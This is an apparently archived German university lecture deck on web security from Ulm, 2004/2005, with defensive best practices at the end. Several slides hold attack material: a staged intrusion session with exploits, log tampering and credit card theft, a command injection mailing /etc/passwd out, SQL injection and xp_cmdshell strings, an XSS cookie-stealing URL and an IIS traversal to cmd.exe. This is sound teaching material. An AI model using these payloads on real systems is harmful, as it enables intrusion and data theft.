05.08.2013 Aufrufe

Web Engineering - Universität Ulm

Web Engineering - Universität Ulm

Web Engineering - Universität Ulm

MEHR ANZEIGEN
WENIGER ANZEIGEN

Sie wollen auch ein ePaper? Erhöhen Sie die Reichweite Ihrer Titel.

YUMPU macht aus Druck-PDFs automatisch weboptimierte ePaper, die Google liebt.

Web Engineering

Hauptstudium Informatik

Hauptstudium Medieninformatik

Bachelor/Master Informatik

WS 2004/2005

Stand: 28.02.2005

Michael Weber und Frank Kargl

Universität Ulm


Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 2


hacker:~$ telnet bigwidget.com 143

Trying 10.0.0.28...

Connected to bigwidget.com.

* OK bigwidget IMAP4rev1 Service 9.0(157) at Wed, 14 Oct 1998 11:51:50 -0400 (EDT)

. logout

* BYE bigwidget IMAP4rev1 server terminating connection

. OK LOGOUT completed

Connection closed by foreign host.

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 3


imap

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 4


imap

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 5


Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 6


hacker ~$ ./imap_exploit bigwidget.com

IMAP Exploit for Linux.

Author: Akylonius (aky@galeb.etf.bg.ac.yu)

Modifications: p1 (p1@el8.org)

Completed successfully.

hacker ~$ telnet bigwidget.com

Trying 10.0.0.28...

Connected to bigwidget.com.

Red Hat Linux release 4.2 (Biltmore)

Kernel 2.0.35 on an i686

login: root

bigwidget:~# whoami

root

# w

10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03

User tty login@ idle JCPU PCPU what

root console 9:27am 147:52 14:41 14:14 /sbin/sh

root pts/5 9:24pm /sbin/sh

# /tmp/mytools/logedit root pts/5

# w

10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03

User tty login@ idle JCPU PCPU what

root console 9:27am 147:52 14:41 14:14 /sbin/sh

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 7


#

#

#

cd /var/mail

ls -l

-rw-rw---- 1 chuck mail 0 Sep 2 23:04 chuck

-rw-rw---- 1 ribeye mail 1884734 Mar 4 09:56 ribeye

grep -i password ribeye

Subject: i fORGOT mY pASSWORD! hELP!!!

Ribeye, you need to stop forgetting your password. I can't keep changing it

your new password is "d0ntf0rg3t". WITHOUT THE QUOTES

# telnet www.bigwidget.com

Trying 208.21.1.5

Connected to www.bigwidget.com

Escape character is '^]'.

UNIX(r) System V Release 4.0 (www.bigwidget.com)

login: ribeye

Password: d0ntf0rg3t

Last login: Thu Mar 4 11:24:44 from pc23.internal.bigwidget.com

www%

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 8


www%

www%

www%

uname -a

SunOS www.bigwidget.com 5.5.1 Generic_103640-24 sun4d sparc

SUNW,SPARCserver-1000

ls -la /usr/bin/eject

-r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject*

[ upload via cut and paste eject overflow exploit ]

www% gcc -o eject_overflow eject_overflow.c

www% ./eject_overflow

Jumping to address 0xeffff630 B[364] E[400] SO[400]

# whoami

root

#

#

cd /data/creditcards

cat visa.txt

Allan B. Smith 6543-2223-1209-4002 12/99

Donna D. Smith 6543-4133-0632-4572 06/98

Jim Smith 6543-2344-1523-5522 01/01

Joseph L.Smith 6543-2356-1882-7532 04/02

Kay L. Smith 6543-2398-1972-4532 06/03

Mary Ann Smith 6543-8933-1332-4222 05/01

Robert F. Smith 6543-0133-5232-3332 05/99

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 9


# cd /var/httpd/htdocs/

# ftp my.home.base

Connected to my.home.base

220 WU Ftp Service FTP Service (Version 2.7).

Name: hacker

331 Password required for hacker.

Password: *******

230 User hacker logged in.

Remote system type is Unix.

ftp> dir

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 10

-rwxr-xr-x 9 hacker users 1024 Aug 17 17:07 .

-rwxr-xr-x 9 root root 1024 Aug 17 17:07 ..

-rwxr-xr-x 2 hacker users 2034 Aug 17 17:07 index.html

-rwxr-xr-x 2 hacker users 1244 Aug 17 17:07 image1.gif

-rwxr-xr-x 2 hacker users 10244 Aug 17 17:07 image2.gif

226 Transfer complete. 234 bytes received in 0.82 seconds (0.76 Kbytes/sec)

ftp> mget *

200 PORT command successful.

150 Opening BINARY mode data connection for index.html

226 Transfer complete.

ftp> quit

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 10


Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 11


Web Security

9.1 Überblick

9.2 Angriffe auf Web-Anwendungen

9.3 Angriffe auf den Browser

9.4 Angriffe auf die Infrastruktur

9.5 Sicheres Programmieren


Überblick

Was bezwecken Angreifer?

Website Defacements

Manipulationen (z.B. bei Ebay)

Angriffsplattformen

Zugang zur Informationen (DB-Inhalte, Kreditkartennr. etc.)

Beispiele

Mass Defacements

http://www.heise.de/newsticker/meldung/49424:

Schwerwiegende Sicherheitsmängel bei T-Com

„Der Chaos Computer Club (CCC e.V.) entdeckte

schwerwiegende Sicherheitsmängel in der T-Com-

Datenbank OBSOC (Online Business Solution Operation

Center). Ohne größeren Aufwand habe jeder Surfer nicht

nur Kunden- und Unternehmensdaten einsehen, sondern

sogar ändern können.“

http://www.heise.de/newsticker/meldung/52573:

Download für CMS PostNuke manipuliert

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 13


Website Defacements

Website Hacking: http://www.alldas.de/

2001: ca. 22.000

2000: ca. 4.000

1999: ca. 1.000

1998: ca. 100

http://www.zone-h.org/en/defacements/:

23.11.2003, bis 16:00 CET

785 gemeldete Defacements!

http://www.heise.de/newsticker/meldung/54684:

21C3: Massenhack löst Welle der Empörung aus

„Hacker aus dem Umfeld des Chaos Communication

Congress veränderten die Homepages von rund 18.000

Websites, was das LKA auf den Plan rief und Diskussionen über

die Hackerethik ausgelöst hat.“

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 14


Was kann ich angreifen?

Web-Anwendungen

Browser

Infrastruktur

Netzwerk, Dienste – z.B. DNS, Serversoftware, …

Benutzer

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 15


Web Security

9.1 Überblick

9.2 Angriffe auf Web-Anwendungen

9.3 Angriffe auf den Browser

9.4 Angriffe auf die Infrastruktur

9.5 Sicheres Programmieren


Angriffe auf Web-Anwendungen

Beispiele

URLs/Parameter manipulieren

Skript-Sicherheit

Authentication Bypass

SQL-Injection

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 17


Skript Sicherheit

„Fahrlässiges“ Skripten führt zu vielen

Sicherheitsproblemen

Beispiel

#!/usr/bin/perl

use CGI qw(:standard);

print header;

print start_html('Login-Vorgang');

$id = param("ID");

$pw = param("password");

$realpw = `cat passwords/$id`;

print "Richtiges Passwort = $realpw ";

if ( "$realpw" =~ "$pw" ) {

print "Willkommen im System";

} else {

print "Nicht authorisiert!";

}

print end_html;

GET http://medien.informatik.uni-ulm.de/~frank/cgi-bin/hackme/hackme.pl?

ID=123%20%3B%20Mail%20frank@kargl.net%20%3C%20/etc/passwd&

password=blubb&submit=Login

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 18


Authentication Bypass

z.B. durch URL Manipulation (OBSOC)

Einfache Passwörter

uvm.

Quiz:

http://quiz.ngsec.com/

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 19


SQL Injection

Idee: über Parametermanipulationen werden

SQL Anfragen bzw. deren Ergebnis

manipuliert.

SELECT * FROM users WHERE user=‘$user‘ and pass=‘$password‘

GET script.php?user=john‘--

SQL Kommentar

a‘ UNION SELECT user,pass FROM admins

a‘EXEC xp_commandshell ‚dir c:\‘

oder Speichern von Javascript Code in der Datenbank,

der dann an Clients ausgeliefert wird (Cross-Site-Scripting)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 20


Web Security

9.1 Überblick

9.2 Angriffe auf Web-Anwendungen

9.3 Angriffe auf den Browser

9.4 Angriffe auf die Infrastruktur

9.5 Sicheres Programmieren


Angriffe auf den Browser

Kann direkt oder indirekt zum „Opfer“ werden

Schwachstellen im Browsercode/-konzept

Schwachstellen in benutzten Libraries/Plugins

Veränderung der Browsereinstellungen

Ausführen von unerwünschtem Skriptcode

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 22


Buffer overruns

Auch „stack smashing“ genannt

Schreiben in lokale Variablen über

Puffergrenzen hinaus

Variableninhalt = ausführbarer Code

(speziell formatiert)

Ausführung: Überschreiben der

Rücksprungadresse auf dem Stack

Artverwandter Angriff: „format string

attacks“

…bei Sprachen ohne Typprüfung zur Laufzeit.

Aktuell betroffen: IE IFRAME, IE JPEG lib.

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 23


Buffer overruns

void doit(char *p) {

char buf[20];

int i;

for (i=0; i


Secure Socket Layer

Kommunikation zwischen Client und Server

per default unverschlüsselt

Statt proprietärem Protokoll für jede

Applikation: Generische Lösung

HTTP LDAP IMAP

Secure Socket Layer

TCP/IP Layer

TCP/IP Layer

. . .

Application Layer

Network Layer

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 25


Secure Socket Layer

Ursprünglich von Netscape

Mittlerweile RFC 2246 „Transport Layer

Security“ (TLS)

Zwischenschicht zwischen TCP/IP und

Anwendungsprotokoll

Implementiert als Bibliothek

Schnittstelle den normalen Sockets sehr ähnlich

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 26


Secure Socket Layer

Features:

Server-Authentifizierung mit Zertifikat

Client Authentifizierung mit Zertifikat (optional)

Verschlüsselte Verbindung

Handshake prüft Zertifikate und handelt

verwendete Verfahren aus

Überprüfen der Signatur d. Zertifikate

(Root-CAs müssen lokal vorhanden sein)

Schlüsselaustausch über DH/RSA

Symm. Verschlüsselung mit 3DES/RC4/…

Hashfunktionen: SHA/MD5/…

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 27


= ?

Secure Socket Layer

Client www.bank48.de

Request

Verschlüsselung

Reply

Zertifizierung

CA

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 28


SSL Man in the Middle

Beispiel: Einschalten in eine verschlüsselte

Verbindung zwischen einem Bankkunden

und dem Onlinebanking System der Bank 48

Schlüssellänge egal

Voraussetzungen:

Techn. Unverständnis des Nutzers

(social engineering)

Einschleusen des Angreifers in Verbindung

Angreifer kontrolliert entspr. Router

Im lokalen Netz: ARP-Spoofing (Gateway)

Global: DNS spoofing

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 29


= ?

SSL Man in the middle

Client www.bank48.de

self-CA

Request

Verschlüsselung

Reply

sign

Angreifer

www.bank48.de

Request

Reply

Verschlüsselung

sign

CA

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 30


SSL Man in the middle

www.bank48.de

Verisign CA

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 31


Browsereinstellungen

Sicherheitskritisch:

Proxy-Einstellungen

Zonen-Einstellungen (beim IE)

SSL-Zertifikate

Änderung durch:

Programmexploit

Social engineering

Wurm / Spyware / …

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 32


Cross Site Scripting

Ausführen von clientseitigem Skriptcode in

fremdem Kontext

Skript wird auf Webserver platziert, z.B.

Posting in Boardsystemen

Mail an Webmail-Kunde

eBay-Angebot

u.U. JavaScript-enabled HTML mail reader

Client ruft Seite auf, sein Browser führt das

Skript aus

Browserintegrierte Skriptsprachen, z.B. JavaScript,

ActiveScript, VBScript, …

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 33


Cross Site Scripting

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 34


Cross Site Scripting

Typische Angriffsziele:

Manipulation der angezeigten Daten

IE zone escape

Cookie stealing

…ganz fatal bei Authentisierungscookies

(z.B. MS Passport)

…Cookies aber immer nur innerhalb der

Domäne abrufbar

Informationen tunneln:

Manipulierte Links

Transparente Bilder mit URL-Parametern

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 35


XSS - Beispiel

XSS-anfälliges Management-

Interface

Erlaubt u.a. Browsen v. Logs

Script, das ein Bild erzeugt

URL-Parameter werden

gespeichert

Zur Illustration Ausgabe der

Parameter im Bild

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 36


XSS - Beispiel

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 37


XSS - Beispiel

(XSS-anfällige) Management-Konsole in PHP

Authentisierungs-Info in Session

Session wird von PHP anhand von Cookie

identifiziert

(…)

if (isset($HTTP_SESSION_VARS['login'])) {

echo "Log viewer\n";

(…)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 38


XSS - Beispiel

Einschleusen von Skriptcode: URL-Aufruf


document.write('');


http://scuba.informatik.uni-ulm.de/%3Cscript%3E

document.write('%3Cimg%20src=%22http://medien.informatik.

uni-ulm.de/~stefan/paramimg.php?cookies='

%2bdocument.cookie%2b'%22%3E');%3C/script%3E

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 39


XSS - Beispiel

Einschleusen von Skriptcode: URL-Aufruf

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 40


Cross Site Scripting

Scripting über Framegrenzen hinweg

Andere Fenster / andere Tabs

Anderer frame / iframe

…besonders fatal beim IE: Sicherheitszonen


onload=function () {

var oVictim=open("http://seite.mit.cookie/", "OurVictim",

"width=100,height=100");

setTimeout( function () {

oVictim.frames[0].location.href=

"javascript:alert(document.cookie)"; }, 7000 );

}


Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 41


Cross Site Scripting

Fazit:

Alle Eingaben von außen sind potentiell böse!

…auch welche, die zunächst zwischengespeichert

wurden

Filtere Metazeichen bzw. escape sie:

< <

> >

Ebenso ( ) , # & ?

Vorsicht bei Funktionen wie urldecode

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 42


Web Security

9.1 Überblick

9.2 Angriffe auf Web-Anwendungen

9.3 Angriffe auf den Browser

9.4 Angriffe auf die Infrastruktur

9.5 Sicheres Programmieren


Angriffe auf Infrastruktur

Einige Beispiele:

DoS/DDoS

Buffer Overflow

SSL/MitM

Directory Traversal

für CGIs

Konfigurationsfehler

Angriffe auf benutzte Dienste

DNS

Rogue Proxies

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 44


DoS/DDoS

(Distributed) Denial of Service Attacks

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 45


DDoS

Attacker

Router

Internet

Attack Relays

Firewall Router

Load-

Balancer

Backend-

Server

(e.g. Database)

Web-

Servers

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 46


DDoS

Problem immer noch akut:

http://www.heise.de/newsticker/meldung/55800

Typische Angriffsarten

SYN-Flood

UDP Flood

Typische Tools

Trinoo

Attack: UDP flooding / Control: TCP

TFN2K

Attack: UDP / TCP SYN / ICMP flooding + TARGA attack

Control: ICMP_ECHO_REPLY, UDP, TCP (encrypted)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 47


DDoS Schutz

Schwierig!

Routing abklemmen?

Filter?

Load Balancing / CDNs

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 48


Directory Traversal

„Ausbruch“ aus htdocs Verzeichnis

Beispiel:

Fehler im IIS:

http:///scripts/..%255c..%%35

cwinnt/system32/cmd.exe?/c+dir+c:\

dir C:\

Entweder im Webserver, oder in

Webanwendung

Siehe

http://www.technicalinfo.net/papers/

URLEmbeddedAttacks.html

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 49


Konfigurationsfehler

Fehlerhafte Konfiguration z.B. im Apache-

Server führt zu Sicherheitsproblemen

Einige Beispiele:

Server-Side Includes mit Exec CGI für Seiten in

Foren/Gästebüchern

Option +Indexes und fehlendes index.html in

Verzeichnissen mit Konfigdaten

(z.B. PHP-Includes)

In Uploadverzeichnis (mit wählbarem Filenamen)

werden .htaccess Files ausgewertet

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 50


Angriffe auf benutzte Dienste

WWW hängt von einer Vielzahl weiterer

Dienste ab

DNS, TCP, IP, Routing …

Vielfältige Angriffe auf diese Dienste möglich

DNS Spoofing / Cache-Poisoning

TCP-Hijacking

Routing-DoS

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 51


Beispiel TCP Hijacking

10.1.2.3 10.4.5.6

telnet

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 52


Beispiel TCP Hijacking

10.1.2.3 10.4.5.6

Seq. A

10.7.8.9

Seq. B

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 53


Beispiel TCP Hijacking

10.1.2.3 10.4.5.6

Smurf Flood

10.7.8.9

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 54


Beispiel TCP Hijacking

10.1.2.3 10.4.5.6

10.7.8.9

Source: 10.1.2.3

Dest: 10.4.5.6

Seq: A+1

xterm –display 10.7.8.9

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 55


Beispiel TCP Hijacking

# ./hijack 10.1.2.3 1234 10.4.5.6

Starting Hijacking demo – F.Kargl 1999

--------------------------------------

Takeover phase 1: Stealing connection.

Sending Spoofed clean-up data...

Waiting for spoof to be confirmed...

Phase 1 ended.

Takeover phase 2: Getting on track with SEQ/ACK's again

Server SEQ: 2B32CC22 (hex) ACK: 1140C0E (hex)

Phase 2 ended.

Takeover phase 3: Sending MY data.

Sending evil data.

Waiting for evil data to be confirmed...

Phase 3 ended.

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 56


Beispiel TCP Hijacking

10.1.2.3 10.4.5.6

10.7.8.9

xterm

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 57


Rogue Proxies

Proxies können eine Vielzahl von

Veränderungen vornehmen

Mithören

Inhalte verändern

Verbindungen blockieren

All dies kann auch für Angriffe genutzt

werden

Beispiele

Paros Proxy

http://odem.org/insert_coin/

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 58


Web Security

9.1 Überblick

9.2 Angriffe auf Web-Anwendungen

9.3 Angriffe auf den Browser

9.4 Angriffe auf die Infrastruktur

9.5 Sicheres Programmieren


Best practices

Bei der Installation:

Minimales Featureset aktivieren

Versionsmeldungen abschalten

Bei der Implementierung:

Niemals Datenquellen von außen trauen!

Benutzereingaben

Alles, was übers Netz kommt

Dateien, auf die auch andere Prozesse zugreifen können

(z.B. Logdateien)

Vorsicht mit Meta-Characters

Zeichen mit Sonderbedeutung

Eigene Sprache, Web-Scripts, Subsysteme (z.B. SQL-DB)

Evasion: URL-Escaped characters, Unicode, …

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 60


Best practices

Wartung:

Nicht mehr benötigte Dateien löschen

Nicht im Live-System entwickeln

Backupdateien entfernen (*.bak, *~, … werden

als Textdateien ausgeliefert Source verfügbar)

Sicherheitsupdates von Serversoftware und

Subkomponenten zeitnah einspielen

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 61


Fingerprinting erschweren

Fingerprinting = Identifizieren von OS,

Software, etc.

Erleichtert gezielte Angriffe

Chuck

Suche nach Exploits f. bestimmte Versionen

Charles Phillip Arthur George Windsor Mountbatten,

The Prince of Wales

Server: Apache Server: Apache/2.0.48 (Linux/SuSE) PHP/4.3.3

OpenSSL/0.9.7b

Exploits für Apache

2.0.48?

Welche SuSE-Release beinhaltet Apache

2.0.48? Vulnerabilities dieser Release?

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 62


Apache

Versionsmeldungen abschalten

ServerTokens ProductOnly

Bei Apache 1.x: Zusätzlich ServerSignature Off

Directory browsing deaktivieren

mod_headers

Beliebige Headers setzen/löschen/ändern

mod_security: unter anderem…

Anti-evasion: Directory-“Schweinereien“ entfernen,

URL-Encoding auflösen, …

Regelsprache f. Header, Servervariablen, POST-

Upload, …

Ext. Programmaufruf f. Uploads (z.B. Virusscan)

Server identity ändern

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 63


CGI scripts

Generell: Buffer overrun Problematik

Erkennung (Directory vs. Extension)

Extension .cgi + Upload-Möglichkeit

Beliebigen Code auf Server ausführen

Vorsicht beim Ausführen von Kommandos

mit der Shell! (gilt allgemein)

Shell parsing

PATH-Variable vs. Absoluter Pfad beim Aufruf

CGI wrapper - Rechtebeschränkung für CGI‘s

z.B. Ausführung mit der EUID des Besitzers

z.B. ulimit setzen

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 64


PHP

Versionsmeldungen abschalten

php.ini: expose_php=Off

register_globals

Bei alten Versionen: Default auf „on“

Automatischer Import von Environment, GET, POST, Servervar.

und Cookies als globale Variablen

In php.ini: register_globals=off

safe_mode

Einschränkung des Dateizugriffs auf eigene UID (oder –

optional – GID)

Nur Programme in definierten Pfaden dürfen ausgeführt

werden

Module dürfen nur aus best. Pfaden eingebunden werden

Funktionsbeschränkung einiger Funktionen

http://www.php.net/maual/en/features.safe-mode.functions.php)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 65


Perl

Warnings – perl -w

Warnungen vor potentiellen Tippfehlern, z.B. im

Variablenname („used only once“)

Zwingt zu „etwas ordentlicherer“ Programmierweise

Taint mode – perl -T

Ungewollte Ausführung von Programmen erschweren

Alle Variablen, die von außen kommen, sind „tainted“

Umgebungsvar., stdin, Parameter, …

Verwendung in exec(), system(), eval(), …

Fehlermeldung

„untaint“:

Neuzuweisung

„Filterung“ durch regulären Ausdruck (Substring extrahieren)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 66


Tools

Automatisierte Tests für XSS, SQL injection, …

Paros Proxy

Div. kommerzielle Scanner (z.B. WebInspect)

Buffer overflow scanner

Heuristische Überprüfung von C-Programmen

z.B. rats/ratscan, pscan, …

Geeignete Compiler

z.B. gcc-Schutzmechanismen

libsafe (ersetzt anfällige Funktionen durch eigene)

Web Engineering, WiSe 2004/2005, Michael Weber und Frank Kargl, Folie 67

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!